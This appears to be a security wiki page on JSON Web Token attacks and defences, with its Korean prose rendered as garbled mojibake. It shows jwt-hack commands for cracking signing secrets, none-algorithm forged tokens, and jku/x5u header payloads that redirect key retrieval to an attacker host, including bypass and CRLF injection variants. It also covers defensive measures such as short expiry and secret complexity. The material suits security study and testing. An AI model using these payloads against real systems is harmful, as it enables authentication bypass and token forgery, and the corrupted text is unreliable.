π Introduction
JWT(JSON Web Token)μ μ μ μλͺ μ ν¬ν¨ν JSON ννμ νμ€ ν¬λ§·μ λλ€. RFC7519μ μ μλμ΄ μμΌλ©° μ΄λ₯Ό ν΅ν΄ μλ², ν΄λΌμ΄μΈνΈ λ± μνΈκ°μ ν΅μ μ μκ·Έλμ²λ₯Ό κ²μ¦νμ¬ μλ³μ‘° μ¬λΆλ₯Ό 체ν¬ν μ μκ³ expire κ°μ ν΅ν΄ λ§λ£ μ¬λΆλ 체ν¬ν μ μμ΅λλ€.
λ³Έλ μΈμ¦ λͺ©μ μΌλ‘ ꡬμ±λ νμ€μ μλμ§λ§, SPA(Single Page Application)μμ μ½κ² μΈμ¦μ ꡬννκΈ° μν΄ JWTλ₯Ό μΈμ ν ν°μ²λΌ μ¬μ©νλ κ²½μ°λ λ§μ΅λλ€.
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
Struct of JWT
JWTλ HEADER
/PAYLOAD
/SIGNATURE
μ΄λ κ² 3κ°μ§μ νλλ‘ λλμ΄μ Έ μμ΅λλ€. λͺ¨λ νλλ JSONμΌλ‘ ννλλ©° μ΄λ¬ν JSON νλλ€μ κ°κ° Base64 μΈμ½λ©νκ² νμ¬ νλμ κ°μΌλ‘ ν©μΉ κ²μ΄ JWT μ
λλ€.
HEADER
HEADERλ JWTμ μ λ°μ μΈ μ 보λ₯Ό λ΄λ νλμ
λλ€. λ³΄ν΅ alg
κ°μΌλ‘ μλͺ
μκ³ λ¦¬μ¦(e.g HS256)μ μ μ μμ΅λλ€.
List of Algorithms
- None
- hs256
- hs384
- hs512
- rs256
- rs384
- rs512
- es256
- es384
- es512
- ps256
- ps384
- ps512
PAYLOAD PAYLOADλ μ¬μ©μκ° μΆκ°ν λ°μ΄ν° μμμ λλ€.
SIGNATURE JWT κ°μ 무결μ±μ μ μ§νκΈ° μν΄ μλͺ λ κ°μ΄ ν¬ν¨λλ νλμ λλ€. μΌλ°μ μΌλ‘ μ¬κΈ°μ λ€μ΄κ°λ κ°μ HEADERμμ algλ‘ μλͺ μκ³ λ¦¬μ¦μ λͺ μν΄μ£Όλ©°, μ΄ Signature κ°μ ν΅ν΄ JWTλ₯Ό μμ±ν μ΄νμ λ°μ΄ν°μ λν λ³μ‘°κ° μμλμ§ μ μ μκ² λ©λλ€.
μ΄ λ μλͺ
μ HEADER
+ .
+ PAYLOAD
μ κ°μ κΈ°λ°μΌλ‘ μμ±ν©λλ€.
π‘ Offensive techniques
JWT λ΄ μ€μμ 보 ν¬ν¨
JWTλ Base64λ JSON κ°μ λλ€. κ³§ Base64λ₯Ό Decodeνλ©΄ λꡬλ λ΄μ©μ λ³Ό μ μκΈ° λλ¬Έμ JWT μμλ μ€μν μ 보λ₯Ό νλ¬ΈμΌλ‘ λ΄μ§ μλκ² μ’μ΅λλ€.
JWT Token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c
Decoded
{
"sub": "1234567890",
"name": "HAHWUL",
"refresh_token":"abcd12345464",
"iat": 1516239022
}
JWT Signature Secret Crack
JWTλ λΆλ¬Έμ λν μλ³μ‘° λ°©μ§λ₯Ό μν μλͺ μ JWT λ°μ΄ν°μ ν¬ν¨νμ¬ μ μ‘ν©λλ€. μ΄ μλͺ κ°μ μ ν΄μ§ Secret κ°μΌλ‘ κ²μ¦ν μ μμ΄ λ°μ΄ν°μ λν 무결μ±μ κ²μ¦ν μ μμ΅λλ€. λ€λ§ Secretμ΄ λ ΈμΆλκ±°λ λ¨μν ν¨ν΄μ μ¬μ©νλ κ²½μ° μ¬λ¬κ°μ§ λꡬλ€μ μ΄μ©ν΄μ Crackμ μλνκ³ λ§μ½ 곡격μκ° Crackμ ν΅ν΄ Secret κ°μ μ»μ΄λΈλ€λ©΄ μμλ‘ JWT ν ν°μ μμ±/μμ ν μ μμ΄ JWTλ₯Ό κΈ°λ°μΌλ‘ ν λΉμ¦λμ€ λ‘μ§μ ν¬κ² 무결μ±μ ν΄μΉ μ μμ΅λλ€.
jwt-hack crack -w {WORDLIST} {JWT_CODE}
https://github.com/hahwul/jwt-hack
{{< asciinema key=β412004β rows=β10β preload=β1β >}}
jwt κ΄λ ¨ λꡬλ€μ λλ€μκ° cracking κ΄λ ¨ λꡬμ΄λ©°, μλ tools λΆλΆ μ°Έκ³ νμκΈΈ λ°λλλ€.
None Algorithm attack
JWTμ λνμ μΈ κ³΅κ²© λ°©λ² μ€ νλμΈ None Algorithmμ λλ€. JWTλ HEADER μμμ alg κ°μ ν΅ν΄ μκ³ λ¦¬μ¦μ λͺ μν μ μλλ°, JWT ν ν° μμ± μ alg κ°μ NoneμΌλ‘ λͺ μνκ±°λ, μΌλΆ JWT λΌμ΄λΈλ¬λ¦¬λ€μ alg κ°μ none λ± λΉ μλͺ μ²λ¦¬ μ μλͺ κ²μ¦μ νμ§ μκ³ λμ΄κ° μ μλ μ·¨μ½μ±μ κ°μ§κ³ μμ΅λλ€. μ΄λ₯Ό μ΄μ©νλ©΄ 곡격μκ° Secret κ°μ λͺ°λΌλ μ΄λ₯Ό ν΅ν΄μ JWTλ₯Ό μμλ‘ μμ±νκ±°λ μμ ν μ μμ΅λλ€.
jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c
```INFO[0000] Generate none payload header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate NonE payload header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate NONE payload header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
... μλ΅ ...
JKU and X5U
jku, x5uλ JWS(Json Web Signature)μμ μ¬μ©λλ νλΌλ―Έν°λ‘ ν€ κΈ°λ° μλͺ μ μν μ¬λ£μ λλ€. jkuμ x5u νλλ₯Ό ν΅ν΄ ν€ κ²μ¦μ μν μλ²λ₯Ό μ§μ ν μ μμΌλ©° μ΄ κ°λ€μ HEADER νλμ λͺ μν©λλ€.
e.g
Base64({"jku": "https://...."})
Base64({"x5u": "https://...."})
jkuμ x5uμ λͺ μλ λλ©μΈμ μ΄λ₯Ό μλͺ κ²μ¦νλ Applicationμμ μ κ·Όν΄μ κ²μ¦ν Trusted μλ²μ΄κΈ° λλ¬Έμ λ§μ½ μ΄ κ°μ΄ λ³μ‘°λμλ€λ©΄ μλ²λ λ³μ‘°λ μλ²λ‘ μλͺ κ²μ¦μ νλ €κ³ μμ²νκ² λ©λλ€.
μ΄ λ jkuμ x5u λλ©μΈμ λν κ²μ¦μ΄ κ³Όμ μ΄ μμ κ°λ₯μ±μ΄ μ‘΄μ¬νμ§λ§, SSRFμ μ μ¬νκ² λλ©μΈ κ²μ¬ λ‘μ§μ μ°ννλ ννλ‘ κ³΅κ²© νμ΄λ‘λ ꡬμ±μ΄ κ°λ₯ν©λλ€.
* https://trustedZattacker.com
* https://trusted@attacker.com
* https://trusted/jwks/../file_uploaded
* https://trusted/jwks/../open_redirect_page=attacker.com
* https://trusted/jwks/../header_injection
jwt-hackμμλ μ΄λ₯Ό μν payload κΈ°λ₯μ μ 곡νκ³ μμ΅λλ€.
jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c --jwk-attack attack.hahwul.com --jwk-protocol https --jwk-trust trust.hahwul.com
... μλ΅ ...
INFO[0000] Generate jku + basic payload header="{\"alg\":\"hs256\",\"jku\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate jku host validation payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate jku host validation payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com@attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate jku host header injection (w/CRLF) payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u + basic payload header="{\"alg\":\"hs256\",\"x5u\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u host validation payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u host validation payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com@attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u host header injection (w/CRLF) payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
π‘ Defensive techniques
μ§§μ λ§λ£μκ°
JWT μμ²΄κ° ν ν° λ΄λΆμ λ§λ£ μκ°μ μ μ₯νκ³ μλ²κ° λ§λ£ μ¬λΆλ§ 체ν¬νκΈ° λλ¬Έμ λͺ μμ λ‘κ·Έμμμ΄λ λΈλΌμ°μ§ μ’ λ£μ λν΄μ μλ²κ° μλ³ν μ μμ΅λλ€. κ·Έλμ μ€μν μλΉμ€μΈ κ²½μ° JWT μ체μ λ§λ£ μκ°μ μ§§κ² κ°μ Έκ°μ νΉμλΌλ λ€λ₯Έ μ·¨μ½μ μΌλ‘ μΈν΄ ν ν°μ΄ λ ΈμΆλμ΄λ μΆκ°μ μΈ κ³΅κ²©μΌλ‘ μ΄λ£¨μ΄μ§κΈ° μ΄λ ΅λλ‘ ν μ μμ΅λλ€.
None Algorithm
JWTμ Signatureμ μ¬μ©λλ μκ³ λ¦¬μ¦μ νΉμ ν μκ³ λ¦¬μ¦(μλ₯Όλ€λ©΄ HS256)μ΄ μ§μ λμ΄μΌ ν©λλ€. λ§μ½ none μνλ‘ μ¬μ©λλ€λ©΄ μ½κ² ν¬λν μ μμ΅λλ€.
Signature Secretμ 볡μ‘λ
JWTλ λ΄λΆ κ°κ³Ό μ ν¨κΈ°κ°λ±μ΄ ν¬ν¨λ λ°μ΄ν°μ λν μλͺ μ ν¬ν¨νκ³ μμ΅λλ€. μ΄λ μλ²μμ λ°κΈ μ μ§μ ν μκ³ λ¦¬μ¦μ λ°λΌμ μλͺ ν JWT ν ν°μ ν¬ν¨λλ©° μλ²μμ μ ν¨κΈ°κ°κ³Ό ν¨κ» μλͺ μ μ μ μ¬λΆλ₯Ό κ²μ¦νκ² λ©λλ€.
λ³΄ν΅ Secretμ μ§μ νμ§ μκ³ μλͺ νλ κ²½μ°, Secretμ λν ν¬λ μ λμ 리μ€ν¬κ° μμ΅λλ€. μ κ° μμ μ JWT ν μ€ν μ μν΄μ jwt-hackμ λ§λ€κ³ μ¬λ¬λ² ν μ€νΈ νμλλ JWT μμ²΄κ° λ€νΈμν¬ νΈλν½μ΄ λ°μνμ§ μκ³ λ Signatureμ Secretμ λ§€ν μ¬λΆλ₯Ό 체ν¬ν μ μλμ§λΌ λ§μ μμ workdlistλ₯Ό λΉ λ₯΄κ² crack ν΄λ³Ό μ μμλ κ² κ°μ΅λλ€.
μλ¬΄νΌ νλ² κΉ¨μ§ secretμ μλΉμ€ μ 체μ JWT ν ν°λ€μ μν₯μ λΌμΉ μ μκΈ° λλ¬Έμ κ΅μ₯ν μ κ΄λ¦¬λμ΄μΌ ν©λλ€.
λ΄λΆμ μ€μμ 보λ₯Ό μ μ₯νμ§ μμ
JWTλ Base64λ‘ μΈμ½λ©λ JSON ννμ κ°μ λλ€. Base64κΈ° λλ¬Έμ μ½κ² λμ½λ©ν΄μ λ³Ό μ μκ³ λΉμ°ν μ€μν μ 보λ JWTμ λ΄μ§ μλ κ²μ΄ μμΉμ λλ€.
Sliding sessions
μ¬λΌμ΄λ© μΈμ μ μ΄λ¬ν Stateless μλΉμ€μμμ 보μμ±μ μν΄ λ²λ €μ§λ νΈμμ±μ μ‘κΈ° μν μΈμ μ λ΅μ λλ€. μλΉμ€λ₯Ό κ³μ μ¬μ©νλ μ μ μκ²λ λ§λ£λκΈ° μ μ μλμΌλ‘ λ§λ£ κΈ°νμ μ°μ₯μμΌμ£Όλ λ°©λ²μ λλ€. μ¬μ©μκ° μΉ νμ΄μ§μμ νλνλ건 JSλ¨μμ μ½κ² μ΄λ²€νΈ νΈλ€λ¬λ‘ κ°μ§ν μ μκΈ° λλ¬Έμ μ΄λ¬ν μ½λλ€μ ν΅ν΄ μ¬μ©μμ νμ¬ μ‘μ μ¬λΆλ₯Ό μ§μμ μΌλ‘ 체ν¬νκ³ νλ μ€μ΄λΌκ³ νλ¨λλ©΄ μΈμ μ΄ λ§λ£ μκ°μ΄ λκΈ° μ μ λ§λ£μκ°μ κ°±μ ν ν ν°μ λ€μ λ°μμ€λ ννλ‘ λ§λ£ μκ°μ μ°μ₯ν μ μμ΅λλ€.
e.g
function updateJWT(){
// JWTλ₯Ό κ°±μ νλ ν¨μλ₯Ό νλ λ§λ€κ³ ...
// λ¬Όλ‘ μ΄λ μλ²λ‘ μμ²ν΄μ λ°μμμΌκ² μ£ .
// λ¨ λ무 μ¦μ μμ²μ΄ λΆλ΄μ€λ½λ€λ©΄ νμ¬ JWTμ μ ν¨μκ°μ λ³΄κ³ κ°±μ ν΄λ λ©λλ€.
// μλ₯Όλ€λ©΄.. λ§κΈ°κ° λ€μκ° λ
}
// window μ 체μ onmouseenterλ₯Ό κ±Έμ΄μ updateJWTκ° νΈμΆλλλ‘ ν©λλ€.
// κ·Έλ¬λ©΄ μ¬μ©μκ° λ§μ°μ€ μ‘μ
μ΄ μμ λ JWTλ₯Ό μλμΌλ‘ κ°±μ μμΌμ€ μ μμ΅λλ€.
// λΉμ·νκ² ν€λ³΄λλ μκ² λ€μ.
window.addEventListener("mouseenter", updateJWT, false);
πΉ Tools
- https://github.com/hahwul/jwt-hack
- https://github.com/brendan-rius/c-jwt-cracker
- https://github.com/lmammino/jwt-cracker
- https://github.com/hashcat/hashcat/
π Articles
- https://www.hahwul.com/2021/05/05/sliding-sessions/
- https://www.hahwul.com/2019/10/11/jwt-cracker-secret-key-crack/
- https://www.hahwul.com/2016/01/20/web-hacking-jwtjson-web-token-jwt-test/
π References
- https://jwt.io
- https://tools.ietf.org/html/rfc7519 (JWT)
- https://tools.ietf.org/html/rfc7515 (JWS)
- https://www.slideshare.net/snyff/jwt-jku-x5u